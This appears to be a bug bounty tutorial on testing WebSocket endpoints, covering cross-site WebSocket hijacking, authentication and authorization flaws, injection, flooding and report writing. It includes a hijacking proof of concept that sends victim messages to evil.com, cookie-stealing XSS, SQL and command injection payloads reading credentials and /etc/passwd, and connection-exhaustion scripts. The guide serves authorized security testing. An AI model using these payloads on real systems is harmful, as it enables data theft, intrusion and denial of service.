Key Takeaways
- WebSocket connections often lack the authentication and authorization checks applied to REST endpoints
- Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF — and it's frequently exploitable
- Message injection through WebSockets can lead to XSS, SQL injection, and command injection just like HTTP parameters
- Most WAFs don't inspect WebSocket traffic, making it a blind spot for defenders
- Burp Suite, OWASP ZAP, and browser DevTools are your primary interception tools
Why WebSocket Security Testing Matters for Bug Bounty
WebSockets are everywhere — chat apps, trading platforms, dashboards, collaborative editors, notification systems. They maintain persistent bidirectional connections, which means they bypass many of the protections that HTTP request/response cycles enforce naturally. Most bug bounty hunters skip WebSocket endpoints entirely because their tools don't intercept them by default. That's exactly why they're worth testing.
How WebSockets Differ from HTTP
The WebSocket handshake starts as an HTTP Upgrade request:
GET /ws/chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123
After the server responds with 101 Switching Protocols, the connection becomes a persistent full-duplex channel. Key security implications:
- No per-message authentication — the initial handshake authenticates once, then all subsequent messages flow without re-verification
- No CORS enforcement — the
Originheader is sent but the server must validate it manually - No automatic CSRF tokens — browsers send cookies with the upgrade request, but there's no built-in CSRF protection
- Stateful connections — server-side state can be manipulated through message sequences
Finding WebSocket Endpoints
- Browser DevTools → Network tab → filter by "WS" — watch for WebSocket connections during normal app usage
- Burp Suite → WebSockets history tab — captures all WS traffic through the proxy
- Source code search — grep JavaScript for
new WebSocket(,ws://,wss://,socket.io,SockJS - Common paths:
/ws,/websocket,/socket.io,/sockjs,/cable(ActionCable),/hub(SignalR)
Cross-Site WebSocket Hijacking (CSWSH)
This is the highest-impact WebSocket vulnerability and the one most commonly found in bounties. It's the WebSocket equivalent of CSRF.
How It Works
When a browser opens a WebSocket connection, it sends cookies automatically — just like any HTTP request. If the server relies solely on cookies for authentication and doesn't validate the Origin header, an attacker's page can open a WebSocket to the target and interact with it as the victim.
Testing for CSWSH
- Identify a WebSocket endpoint that uses cookie-based authentication
- Check if the server validates the
Originheader:
// Attacker's page (hosted on evil.com)
const ws = new WebSocket('wss://target.com/ws/chat');
ws.onopen = () => {
console.log('Connected — CSWSH likely exploitable');
ws.send(JSON.stringify({action: 'get_messages'}));
};
ws.onmessage = (event) => {
// Exfiltrate data
fetch('https://evil.com/log', {
method: 'POST',
body: event.data
});
};
If the connection succeeds from a different origin, the endpoint is vulnerable.
What to Check
- Does the server reject connections with mismatched
Origin? - Does the server require a CSRF token in the handshake URL or first message?
- Does the server use a non-cookie authentication mechanism (e.g., token in URL parameter)?
Impact Escalation
- Data exfiltration — read private messages, account data, notifications
- Action on behalf of user — send messages, change settings, make purchases
- Account takeover — if the WebSocket exposes session tokens or allows password changes
Authentication and Authorization Bypass
Missing Authentication on WebSocket Endpoints
Many applications authenticate the HTTP endpoints but forget to authenticate the WebSocket upgrade:
# Test: Can you connect without any cookies/tokens?
websocat wss://target.com/ws/admin --no-close
If the connection succeeds and you receive data, the endpoint lacks authentication entirely.
Broken Authorization Between Channels
Applications with multi-tenant WebSocket systems often fail to enforce authorization:
// Subscribe to another user's channel
{"action": "subscribe", "channel": "user_notifications_12345"}
// Join another user's room
{"action": "join", "room": "private_room_admin"}
Test by connecting as User A, attempting to subscribe to User B's channels/rooms, and sending messages to channels you shouldn't have access to.
Token Leakage in WebSocket URLs
Some implementations pass auth tokens in the WebSocket URL:
wss://target.com/ws?token=eyJhbGciOiJIUzI1NiJ9...
This token appears in server access logs, proxy logs, browser history, and referrer headers if the page links elsewhere.
Message Injection Attacks
WebSocket messages are just data — if the server processes them without sanitization, all the classic injection attacks apply.
XSS Through WebSocket Messages
If WebSocket messages are rendered in the DOM without escaping:
{"type": "chat", "message": "<img src=x onerror=alert(document.cookie)>"}
This is especially common in chat applications, collaborative editing tools, real-time notification displays, and dashboard widgets that render user-supplied data.
SQL Injection Through WebSocket Messages
{"action": "search", "query": "test' OR 1=1--"}
{"action": "get_user", "id": "1 UNION SELECT username,password FROM users--"}
Server-Side Template Injection
{"action": "render_preview", "template": "{{7*7}}"}
{"action": "set_name", "name": "${7*7}"}
Command Injection
{"action": "ping", "host": "127.0.0.1; cat /etc/passwd"}
Rate Limiting and DoS
WebSocket connections often lack rate limiting because they bypass the HTTP request pipeline.
Message Flooding
import websocket
import json
ws = websocket.create_connection("wss://target.com/ws")
for i in range(10000):
ws.send(json.dumps({"action": "search", "query": f"test{i}"}))
Connection Exhaustion
connections = []
for i in range(1000):
try:
ws = websocket.create_connection("wss://target.com/ws")
connections.append(ws)
except:
print(f"Server stopped accepting at connection {i}")
break
If the server doesn't limit concurrent connections per IP or per user, this can cause denial of service.
Smuggling and Protocol-Level Attacks
WebSocket Smuggling
Some reverse proxies handle WebSocket upgrades incorrectly, allowing request smuggling. Send a valid WebSocket upgrade request, then after the upgrade, send HTTP requests through the WebSocket tunnel. These requests may bypass proxy-level security controls (WAF, IP restrictions, authentication).
Downgrade Attacks
If the application supports both ws:// and wss://, all traffic on ws:// is plaintext — credentials, tokens, and messages are exposed to network-level attackers.
Socket.IO and Framework-Specific Testing
Socket.IO
Socket.IO is the most common WebSocket framework. It has its own protocol layer:
// Socket.IO handshake (HTTP long-polling first, then upgrade)
GET /socket.io/?EIO=4&transport=polling
GET /socket.io/?EIO=4&transport=websocket&sid=<session_id>
Test for:
- Event injection — emit events you shouldn't have access to:
socket.emit('admin_action', {cmd: 'delete_user', id: 1}) - Namespace access — connect to admin namespaces:
io('/admin') - Room enumeration — attempt to join rooms by guessing names
SignalR
// SignalR negotiation
POST /hub/negotiate?negotiateVersion=1
// Then WebSocket upgrade to /hub?id=<connection_id>
Test for:
- Method invocation — call server methods you shouldn't:
{"type":1,"target":"AdminMethod","arguments":["data"]} - Stream interception — subscribe to streams meant for other users
Tools and Setup
Burp Suite
- WebSockets history tab shows all WS messages
- You can intercept and modify individual messages
- Use the Repeater to replay modified messages
- Extensions: "WebSocket Turbo Intruder" for fuzzing
OWASP ZAP
- WebSocket tab captures and displays messages
- Can fuzz WebSocket parameters
- Supports breakpoints on WebSocket messages
websocat
Command-line WebSocket client — essential for scripted testing:
# Connect and interact
websocat wss://target.com/ws
# With custom headers
websocat -H "Cookie: session=abc123" wss://target.com/ws
# Pipe input
echo '{"action":"test"}' | websocat wss://target.com/ws
Testing Methodology Checklist
- Discovery — Find all WebSocket endpoints (DevTools, source code, common paths)
- Authentication — Test if connections work without credentials
- Origin validation — Test CSWSH by connecting from a different origin
- Authorization — Test cross-user channel/room access
- Input validation — Fuzz message parameters for XSS, SQLi, command injection
- Rate limiting — Test message flooding and connection exhaustion
- Encryption — Check if
ws://(unencrypted) is accepted alongsidewss:// - Token handling — Check for tokens in URLs, message leakage
- Framework-specific — Test Socket.IO namespaces, SignalR methods, ActionCable channels
Writing the Report
Title Format
"Cross-Site WebSocket Hijacking on /ws/chat Allows Reading Private Messages of Any User"
Key Elements
- Endpoint: The exact WebSocket URL
- Authentication mechanism: How the WebSocket authenticates (cookies, tokens, none)
- Vulnerability: What's broken (missing origin check, no auth, injection)
- PoC: Working HTML page or script that demonstrates the issue
- Impact: What an attacker can do — data access, actions, account takeover
- Affected users: All users, specific roles, specific features
CVSS Considerations
- CSWSH with data exfiltration: typically High (7.0-8.9)
- Missing authentication on sensitive endpoints: Critical (9.0+) if it exposes PII or allows account actions
- XSS through WebSocket: same as reflected/stored XSS rating, but note the WAF bypass angle
- Rate limiting issues: typically Low-Medium unless it causes actual service disruption
Related reading: Bug Bounty Recon Workflow in 2026, XSS Hunting for Bug Bounty in 2026, SSRF Hunting for Bug Bounty in 2026, Authentication Bypass for Bug Bounty in 2026, HTTP Request Smuggling for Bug Bounty in 2026, API Security Testing in 2026
Advertisement